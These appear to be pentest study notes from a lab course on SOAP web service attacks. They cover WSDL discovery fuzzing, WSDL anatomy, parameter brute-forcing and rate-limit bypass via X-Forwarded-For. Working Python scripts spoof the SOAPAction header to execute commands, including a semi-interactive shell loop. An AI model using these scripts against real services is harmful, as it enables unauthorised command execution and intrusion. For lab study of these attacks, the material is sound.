Web Service & API Attacks

Web Service Description Language (WSDL)

  • An XML based file that informs clients of the provided services and methods
  • may include method-calling conventions
  • usually exposed by web services

But:

  • WSDL File shouldn't be always accessible
  • may not be exposed publicly
  • may be exposed with an uncommon location (FUZZING ftw)

Fuzzing for WSDL

Basic directory fuzzing

Possible Attack/Command:

dirb http://<TARGET IP>:<TARGET PORT>

Possible Result:

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Mar 25 11:53:09 2022
URL_BASE: http://<TARGET IP>/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://<TARGET IP>:3002/ ----
+ http://<TARGET IP>/wsdl (CODE:200|SIZE:0)                            

-----------------
END_TIME: Fri Mar 25 11:53:24 2022
DOWNLOADED: 4612 - FOUND: 1

WSDL is located at: http://<TARGET IP>/wsdl

Fuzzing for the "SOAP Param"

If the previous URL will return empty (i.e. curl http://<TARGET IP>/wsdl is empty) you may need to provide a param to signal the WSDL that you want to read some info:

ffuf -w "../SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>/wsdl?FUZZ' -fs 0 -mc 200

Possible results:

ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.129.202.133:3002/wsdl?FUZZ -fs 0 -mc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.202.133:3002/wsdl?FUZZ
 :: Wordlist         : FUZZ: /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response size: 0
________________________________________________

WSDL                    [Status: 200, Size: 4461, Words: 967, Lines: 186, Duration: 10ms]
wsdl                    [Status: 200, Size: 4461, Words: 967, Lines: 186, Duration: 8ms]
:: Progress: [6453/6453] :: Job [1/1] :: 4878 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

Then just curl this url: curl http://10.129.202.133:3002/wsdl?wsdl and you should get the xml back.

Anatomy of a WSDL File

Definition

    <wsdl:definitions targetNamespace="http://tempuri.org/" 

        <wsdl:types></wsdl:types>
        <wsdl:message name="LoginSoapIn"></wsdl:message>
        <wsdl:portType name="HacktheBoxSoapPort">
          <wsdl:operation name="Login"></wsdl:operation>
        </wsdl:portType>
        <wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
          <wsdl:operation name="Login">
              <soap:operation soapAction="Login" style="document"/>
              <wsdl:input></wsdl:input>
              <wsdl:output></wsdl:output>
          </wsdl:operation>
        </wsdl:binding>
        <wsdl:service name="HacktheboxService"></wsdl:service>
    </wsdl:definitions>
  • root element of WSDL
  • Specifies ServiceName and Namespaces for the entire WSDL
  • Defines Service Elements

Data Types

    <wsdl:types>
        <s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/">
          <s:element name="LoginRequest">
              <s:complexType>
                  <s:sequence>
                      <s:element minOccurs="1" maxOccurs="1" name="username" type="s:string"/>
                      <s:element minOccurs="1" maxOccurs="1" name="password" type="s:string"/>
                  </s:sequence>
              </s:complexType>
          </s:element>
          <s:element name="LoginResponse">
              <s:complexType>
                  <s:sequence>
                      <s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
                  </s:sequence>
              </s:complexType>
          </s:element>
          <s:element name="ExecuteCommandRequest">
              <s:complexType>
                  <s:sequence>
                      <s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
                  </s:sequence>
              </s:complexType>
          </s:element>
          <s:element name="ExecuteCommandResponse">
              <s:complexType>
                  <s:sequence>
                      <s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
                  </s:sequence>
              </s:complexType>
          </s:element>
        </s:schema>
    </wsdl:types>
  • Defines data types to be used in the messages/exchange
  • in this example it defines the params that should be used for the LoginRequest for example

Messages

<!-- Login Messages -->
<wsdl:message name="LoginSoapIn">
    <wsdl:part name="parameters" element="tns:LoginRequest"/>
</wsdl:message>
<wsdl:message name="LoginSoapOut">
    <wsdl:part name="parameters" element="tns:LoginResponse"/>
</wsdl:message>
<!-- ExecuteCommand Messages -->
<wsdl:message name="ExecuteCommandSoapIn">
    <wsdl:part name="parameters" element="tns:ExecuteCommandRequest"/>
</wsdl:message>
<wsdl:message name="ExecuteCommandSoapOut">
    <wsdl:part name="parameters" element="tns:ExecuteCommandResponse"/>
</wsdl:message>
  • Defines INPUT/OUTPUT Operations supported by the service

Operation

  • Defines the available SOAP actions alongside the encoding of each message.
  • Think Method, but in SOAP instead of OOP

Port Type

    <wsdl:portType name="HacktheBoxSoapPort">
        <!-- Login Operaion | PORT -->
        <wsdl:operation name="Login">
          <wsdl:input message="tns:LoginSoapIn"/>
          <wsdl:output message="tns:LoginSoapOut"/>
        </wsdl:operation>
        <!-- ExecuteCommand Operation | PORT -->
        <wsdl:operation name="ExecuteCommand">
          <wsdl:input message="tns:ExecuteCommandSoapIn"/>
          <wsdl:output message="tns:ExecuteCommandSoapOut"/>
        </wsdl:operation>
    </wsdl:portType>
  • Puts every INPUT/OUTPUT Message into an operation
  • defines the web service, the available operations and the exchanged messages
  • in WSDL version 2.0, the interface element is tasked with defining the available operations and when it comes to messages the (data) types element handles defining them

Binding

<wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <!-- SOAP Login Action -->
    <wsdl:operation name="Login">
      <soap:operation soapAction="Login" style="document"/>
      <wsdl:input>
          <soap:body use="literal"/>
      </wsdl:input>
      <wsdl:output>
          <soap:body use="literal"/>
      </wsdl:output>
    </wsdl:operation>
    <!-- SOAP ExecuteCommand Action -->
    <wsdl:operation name="ExecuteCommand">
      <soap:operation soapAction="ExecuteCommand" style="document"/>
      <wsdl:input>
          <soap:body use="literal"/>
      </wsdl:input>
      <wsdl:output>
          <soap:body use="literal"/>
      </wsdl:output>
    </wsdl:operation>
</wsdl:binding>
  • binds operation to port type
  • similar to an interface
  • client will use details provided here to access the operations

Service

    <wsdl:service name="HacktheboxService">

      <wsdl:port name="HacktheboxServiceSoapPort" binding="tns:HacktheboxServiceSoapBinding">
        <soap:address location="http://localhost:80/wsdl"/>
      </wsdl:port>

    </wsdl:service>
  • this tag let's the client identify the location of the web service

Web Service Attacks

SOAPAction Spoofing

Every SOAP Action call should include the operation and the parameters of that operation. If the messages are transported via http there is an additional HTTP Header called SOAPAction that contains the operations name (so the webservice doesn't need to parse the entire xml for the operation name).

If a web service considers only the SOAPAction attribute when determining the operation to execute, then it may be vulnerable to SOAPAction spoofing.

TL;DR: Spoof the name of an Action with the help of an HTTP Header to bypass security checks or execute operations that are meant for internal use/internal IPs only.

The SoapActions can be read from the wsdl definition file (see operations):

<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>

We can see a SOAPAction operation called ExecuteCommand. Then we can take a look at the request params (in this example it's at ExecuteCommandRequest):

<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>

We could create a script to call this endpoint (or use a mitm proxy like BurpSuite):

import requests

payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><ExecuteCommandRequest xmlns="http://tempuri.org/"><cmd>whoami</cmd></ExecuteCommandRequest></soap:Body></soap:Envelope>'

print(requests.post("http://<TARGET IP>/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)

This script will try to execute the whoami command. If this one will return an error similar to this one, we can bypass the checks:

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><ExecuteCommandResponse xmlns="http://tempuri.org/"><success>false</success><error>This function is only allowed in internal networks</error></ExecuteCommandResponse></soap:Body></soap:Envelope>'

We can bypass the checks, by passing in the ExecuteCommand in the HTTP Header, but sending an XML that wants to execute another, publicly available function/operation like LoginRequest:

import requests

payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>whoami</cmd></LoginRequest></soap:Body></soap:Envelope>'

print(requests.post("http://<TARGET IP>/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)

Here we pass the LoginRequest operation, but with the parameters of the ExecuteCommand one.

  • We specify LoginRequest in <soap:Body>, so that our request goes through. This operation is allowed from the outside.
  • We specify the parameters of ExecuteCommand because we want to have the SOAP service execute a whoami command.
  • We specify the blocked operation (ExecuteCommand) in the SOAPAction header

If the webservice determines the action based on the SOAPAction header, we may bypass the restrictions and the server will execute the whoami command.

This is what its response could look like:

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginResponse xmlns="http://tempuri.org/"><success>true</success><result>root\n</result></LoginResponse></soap:Body></soap:Envelope>'

And to make it semi-interactive we can create the following python script:

import requests

while True:
    cmd = input("$ ")
    payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>{cmd}</cmd></LoginRequest></soap:Body></soap:Envelope>'
    print(requests.post("http://<TARGET IP>/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)

Command Injection

See the full notes on command injections for more information about command injections in general.

Fuzzing

Fuzzing for param names

ffuf -w "SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>/?FUZZ=test_value'

Example: Fuzz id param

Option 1: Create a Python Script

import requests, sys

def brute():
    try:
        value = range(10000)
        for val in value:
            url = sys.argv[1]
            r = requests.get(url + '/?id='+str(val))
            if "position" in r.text:
                print("Number found!", val)
                print(r.text)
    except IndexError:
        print("Enter a URL E.g.: http://<TARGET IP>:3003/")

brute()

Option 2: Use FFUF

  1. Create a wordlist consisting of numbers: seq 1 10000 > numbers.txt
  2. Run ffuf with wordlist and match the text "position" using -mr (match regex):
ffuf -u http://10.129.202.133:3003/?id=FUZZ -w numbers.txt -mr 'position'

Tipps for Fuzzing

If there is a rate limit in place, you can always try to bypass it through headers such as X-Forwarded-For, X-Forwarded-IP, etc., or use proxies. These headers have to be compared with an IP most of the time. See an example below.

<?php
$whitelist = array("127.0.0.1");
if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}
else
{
  print("bypass checks");
}

Regular Expression (Regex) Denial of Service (ReDoS)

craft a mailicious payload that will make the reges evaluate slow/take long times to evaluate.

Regex Visualizer: https://jex.im/regulex/